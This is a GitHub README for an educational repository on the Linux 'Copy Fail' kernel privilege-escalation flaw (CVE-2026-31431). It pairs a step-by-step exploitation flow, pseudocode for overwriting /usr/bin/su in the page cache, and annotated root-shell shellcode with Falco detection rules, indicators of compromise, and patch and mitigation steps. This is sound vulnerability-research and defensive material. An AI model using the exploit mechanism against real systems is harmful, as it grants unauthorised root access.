darioomatos/cve-2026-31431-copyfail
GitHub: darioomatos/cve-2026-31431-copyfail
CVE-2026-31431「Copy Fail」漏洞的教学仓库,详细记录了 Linux 内核 AF_ALG 子系统中本地权限提升漏洞的原理、利用方式、检测与缓解方案。
Stars: 2 | Forks: 0
# CVE-2026-31431 — "Copy Fail" 🔐
## 目录
- [它是什么?](#o-que-é)
- [给外行的比喻](#para-leigos-a-analogia)
- [时间线](#linha-do-tempo)
- [技术原理](#como-funciona-tecnicamente)
- [Shellcode 分析](#o-shellcode-analisado)
- [与类似漏洞的比较](#comparação-com-vulnerabilidades-similares)
- [受影响的系统](#sistemas-afetados)
- [Android 受影响吗?](#android-é-afetado)
- [检测](#detecção)
- [缓解与补丁](#mitigação-e-patches)
- [学习实现](#implementações-de-estudo)
- [参考资料](#referências)
## 它是什么?
**CVE-2026-31431**, nicknamed *Copy Fail*,是 Linux 内核中的一个**本地权限提升** (LPE — Local Privilege Escalation) 漏洞。它允许任何无特权用户在几秒钟内获得 **root** 访问权限。
| 属性 | 值 |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS 评分 | **7.8 HIGH** |
| 类型 | 本地权限提升 (LPE) |
| 子系统 | `crypto/algif_aead.c` — AF_ALG |
| 引入版本 | Kernel 4.14 (commit `72548b093ee3`,2017 年 7 月) |
| 修复版本 | 6.18.22 / 6.19.12 / 7.0 (commit `a664bf3d603d`) |
| 发现者 | Taeyang Lee — Theori / Xint Code |
| 公开披露日期 | 2026 年 4 月 29 日 |
| 公开 PoC | 有 — 约 732 字节的 Python 脚本 |
## 给外行的比喻
想象操作系统有一个**工作内存**(称为 *page cache*),用于保存正在使用的文件的副本。当你运行一个程序时,系统会将该程序加载到这个内存中并从那里执行——而不是直接从磁盘执行。
Copy Fail 允许普通用户**在内存中修改**特殊程序(例如 `su` 命令等 *setuid* 二进制文件)的副本,而无需触碰磁盘上的原始文件。磁盘上的文件保持不变,但当程序运行时,系统读取的是内存中被篡改的版本。
这就像在厨师做饭时,在他的记忆中替换了菜谱——原本的食谱没有改变,但端出来的菜却完全不同。
**结果:**被篡改的程序以 root 权限执行攻击者的代码。
**使其特别危险的原因:**
- 没有竞态条件窗口——它是确定性的
- 不会在磁盘上留下任何痕迹(磁盘取证无法检测)
- 自 2017 年以来,适用于几乎所有 Linux 发行版
- 原始的 exploit 仅用 Python 编写,约 700 字节
## 时间线
```
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c)
authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place
req->src = req->dst → páginas do page cache entram na scatterlist de escrita
BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux
Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado
Arch Linux, Fedora, Amazon Linux já com patches
Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux
Adicionado ao CISA KEV (Known Exploited Vulnerabilities)
Exploits em Go e Rust aparecem em repositórios públicos
```
## 技术原理
### 流程概述
```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
```
### 根本原因:就地操作 + sg_chain()
该漏洞存在于 `crypto/algif_aead.c` 中。2017 年,AEAD 操作被转换为 *in-place*(就地操作)以提高性能:
```
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência:
sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl);
// ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
```
`authencesn` 算法使用目标缓冲区作为 *scratch space*,以重新排列 IPsec 的 Extended Sequence Number (ESN) 的字节:
```
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
```
### 为什么不留痕迹
写入操作完全绕过了 VFS。修改后的页面永远不会被内核的回写机制标记为 *dirty*。磁盘上的文件保持完整。基于哈希的完整性检查工具(`aide`、`tripwire`、`inotifywait`)无法检测到任何变化,因为它们监控的是磁盘,而不是 page cache。
## Shellcode 分析
该 exploit 嵌入了一个 160 字节的微型 ELF,并使用 zlib 进行了压缩。解压后,可执行部分如下:
```
; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores
xor edi, edi ; uid = 0
mov al, 0x69 ; syscall 105 = setuid
syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0"
xor esi, esi ; argv = NULL
push 0x3b ; syscall 59 = execve
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
; Fallback
xor edi, edi
push 0x3c ; syscall 60 = exit
pop rax
syscall ; exit(0)
bin_sh: db "/bin/sh", 0
```
**最小 ELF 结构(共 160 字节):**
```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
```
## 与类似漏洞的比较
| | Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) |
|---|---|---|---|
| **CVE** | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| **类型** | CoW 竞态条件 | Pipe buffer 无 flags | AEAD 逻辑缺陷 |
| **可靠性** | 依赖竞态 (~ms) | 确定性 | **确定性** |
| **磁盘痕迹** | 有 (dirty pages) | 无 | **无** |
| **通用性** | 广泛 | 特定版本 | **通用 (2017–2026)** |
| **PoC 大小** | ~50 行 C 代码 | ~40 行 C 代码 | **~10 行 Python 代码** |
| **子系统** | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| **发现方式** | 手动 | 手动 | **AI 辅助** |
| **利用窗口** | 竞态窗口 | 无 | **无** |
## 受影响的系统
**内核版本:**
- 引入版本:Linux 4.14(2017 年 7 月)
- 修复版本:6.18.22, 6.19.12, 7.0
**已确认存在可用 exploit 的发行版:**
- Ubuntu 24.04 LTS
- Amazon Linux 2023
- Red Hat Enterprise Linux 10.1
- SUSE Linux Enterprise 16
- Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux
**必要条件:**内核配置中启用 `CONFIG_CRYPTO_USER_API_AEAD=y` 或 `=m`
**检查系统是否受影响:**
```
# 检查模块是否可用
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
# =y → built-in(更难禁用)
# =m → loadable module(可通过 modprobe 阻止)
# (不存在)→ 不受影响
# 直接测试(不会造成损害,仅测试访问权限):
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('⚠️ EXPOSTO: algif_aead acessível')
s.close()
except Exception as e:
print(f'✅ Bloqueado: {e}')
"
```
## Android 受影响吗?
**简答:**标准 Android (AOSP/GKI) **在实际应用中不受影响**,但具有非标准配置的设备需要检查。
### 前置条件分析
```
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
```
### 为什么 Android 天然具有防护能力
**1. GKI 中缺少 `CONFIG_CRYPTO_USER_API_AEAD`**
Google 在标准的 arm64 `gki_defconfig` 中没有包含此选项。Android 在用户空间使用 BoringSSL 进行加密,不依赖 AF_ALG。
**2. SELinux 强制模式**
Android 的 SELinux `untrusted_app` 域没有创建 `AF_ALG` 的 `create` 权限。调用 `socket(AF_ALG, SOCK_SEQPACKET, 0)` 会在到达加密子系统之前被拒绝并返回 `EACCES`。
**3. Seccomp-bpf**
Android 应用在运行时受到 seccomp 过滤器的限制,该过滤器会阻止 `domain=AF_ALG` 的 `socket()` 调用——它不在允许第三方应用使用的系统调用白名单中。
**4. 缺少 setuid 二进制文件**
Android 不使用传统的 Linux setuid 模型。特权二进制文件使用特定的 *capabilities* 或作为具有专用 UID 的服务运行。AOSP 的生产版本中没有 `/usr/bin/su`。
### Android 中的风险场景
| 场景 | 风险 |
|---|---|
| 装有 Magisk/KernelSU + SELinux 宽容模式的设备 | **高** — 所有的前置条件都可能满足 |
| 包含 `CONFIG_CRYPTO_USER_API_AEAD=y` 的 OEM 内核 + 工程版本 | **中** — 取决于 shell 访问权限 |
| 未 Root 设备上的恶意应用 | **无** — SELinux + seccomp 会将其阻止 |
| 生产版本上的 ADB | **无** — `adb root` 不起作用 |
### 如何检查 Android 设备
```
# 检查 kernel 配置
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
# 检查 SELinux 模式
adb shell getenforce
# Enforcing = 已保护 / Permissive = 潜在风险
# 直接测试(需要可用的 adb shell)
adb shell python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead','authencesn(hmac(sha256),cbc(aes))'))
print('EXPOSTO')
except Exception as e:
print('Bloqueado:', e)
" 2>/dev/null || echo "python3 não disponível no device"
# 查找 setuid 二进制文件(在标准 Android 中不常见)
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null
```
## 检测
### Falco (运行时检测)
```
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]
```
### 失陷指标
```
# 打开 AF_ALG 后执行 shell 的 Python 进程
# 可疑进程的 strace 显示:
# socket(AF_ALG=38, SOCK_SEQPACKET, 0)
# bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)
# splice(...) ← 文件 → pipe → socket
# recvmsg(...)
# 随后是:
# setuid(0)
# execve("/bin/sh", ...)
# 系统日志中的危险信号:
# - UID 转换为 0 的非 root 进程
# - 以 python3 作为父进程的 sh/bash
# - 普通用户进程中的 socket+splice+recv 序列
```
### 检查系统是否已被入侵
```
# Page cache 可通过以下方式清理:
echo 3 > /proc/sys/vm/drop_caches
# 这会撤销内存中的损坏(无需更换磁盘上的二进制文件)
# 检查运行中与磁盘上的二进制文件的完整性:
# (当页面位于 cache 中时无法检测到损坏)
sha256sum /usr/bin/su
# 与发行版的参考 hash 进行比较
```
## 缓解与补丁
### 选项 1 — 更新内核(推荐)
```
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot
# RHEL / AlmaLinux / Rocky Linux
sudo dnf upgrade kernel
sudo reboot
# Fedora
sudo dnf upgrade kernel
sudo reboot
# Arch Linux
sudo pacman -Syu linux
sudo reboot
# 重启后检查版本:
uname -r
# 根据您的系列,应 >= 6.18.22 或 >= 6.19.12
```
**各系列修复版本:**
| 系列 | 修复版本 |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+ | **7.0** (已包含修复) |
### 选项 2 — 禁用 algif_aead (临时权宜之计)
**如果 `CONFIG_CRYPTO_USER_API_AEAD=m` (可加载模块):**
```
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true
```
**如果 `CONFIG_CRYPTO_USER_API_AEAD=y` (内建 — 例如 RHEL/Rocky/CloudLinux):**
```
# 通过 grubby 使用 initcall_blacklist:
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot
# 检查 mitigation 是否激活:
cat /proc/cmdline | grep algif_aead_init
```
**确认权宜措施已生效:**
```
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"
```
**权宜措施的兼容性:**
阻止 `algif_aead` **不会影响** dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH。它仅影响明确使用 AF_ALG 进行 AEAD 的应用程序(极罕见——例如带有 `afalg` 引擎的 OpenSSL、硬件加密卸载)。
### 选项 3 — 针对容器化环境的 Seccomp / LSM
```
# 用于阻止容器中 AF_ALG 的 seccomp 配置文件:
{
"syscalls": [{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [{
"index": 0,
"value": 38,
"op": "SCMP_CMP_EQ"
}]
}]
}
```
## 学习实现
本仓库以多种语言记录了该 exploit 的机制,仅供教育目的。重点在于了解漏洞是**如何**运作的,而不是分发攻击工具。
### 机制结构 (伪代码)
```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# 用法:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
```
### 已文档化的语言
| 语言 | 描述 |
|---|---|
| **Python (去混淆)** | 原始 PoC 的清晰注释版本 |
| **NASM x86_64** | 逐条指令注释的 ELF payload |
| **Go** | 使用 `syscall.RawSyscall6` 直接调用 `SYS_SPLICE` 和 `SYS_SETSOCKOPT` |
| **C** | 使用 `struct msghdr`、`CMSG_DATA` 和 zlib 运行时的实现 |
文件 [`copyfail_study.md`](./copyfail_study.md) 包含了完整且带有注释的实现。
### 关于 ELF Payload
提取出的 shellcode(从 PoC 中解压 zlib 后)执行以下操作:
```
1. setuid(0) → syscall 105 (0x69)
2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
3. exit(0) → syscall 60 (0x3c) — fallback
```
总计:26 字节代码 + 8 字节字符串 = 160 字节 ELF 中的 34 字节 shellcode。
## 参考资料
| 资源 | 链接 |
|---|---|
| 原始报告 | https://xint.io/blog/copy-fail-linux-distributions |
| CVE 官方网站 | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| 原始 PoC 仓库 | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| 主线补丁 | https://git.kernel.org/stable/c/a664bf3d603d |
| 维基百科 | https://en.wikipedia.org/wiki/Copy_Fail |
| Sysdig 分析 + Falco 规则 | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Microsoft Defender 分析 | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| Tenable FAQ | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| CERT-EU 公告 | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Bugcrowd 分析 | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| OSS-Security 讨论 | https://openwall.com/lists/oss-security/2026/04/29/23 |
| AlmaLinux 补丁 | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| CloudLinux 补丁 + 权宜措施分析 | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
## 免责声明
本仓库**仅用于防御性安全教育和研究目的**。此处的内容面向:
- 进攻和防御安全专业人员
- 漏洞研究人员
- 信息安全专业的学生
- 需要了解风险以便进行缓解的系统管理员
**请勿在未经系统所有者明确授权的情况下使用这些知识。**未经授权访问计算机系统在几乎所有司法管辖区均属犯罪行为(在巴西,违反第 12.737/2012 号法律 — Lei Carolina Dieckmann;以及第 14.155/2021 号法律)。
*最后更新:2026 年 5 月*
*欢迎通过 PR 贡献——请保持教育和防御。*
标签:0day挖掘, AF_ALG, Copy Fail, crypto/algif_aead.c, CVE, CVE-2026-31431, Linux内核漏洞, LPE, Page Cache, PoC, Root权限, Shellcode, Web报告查看器, 二进制分析, 云安全运维, 内核安全, 子域名枚举, 技术调研, 提权漏洞, 数字签名, 日志审计, 暴力破解, 本地提权, 漏洞分析, 漏洞复现, 系统安全, 网络安全, 路径探测, 逆向工具, 隐私保护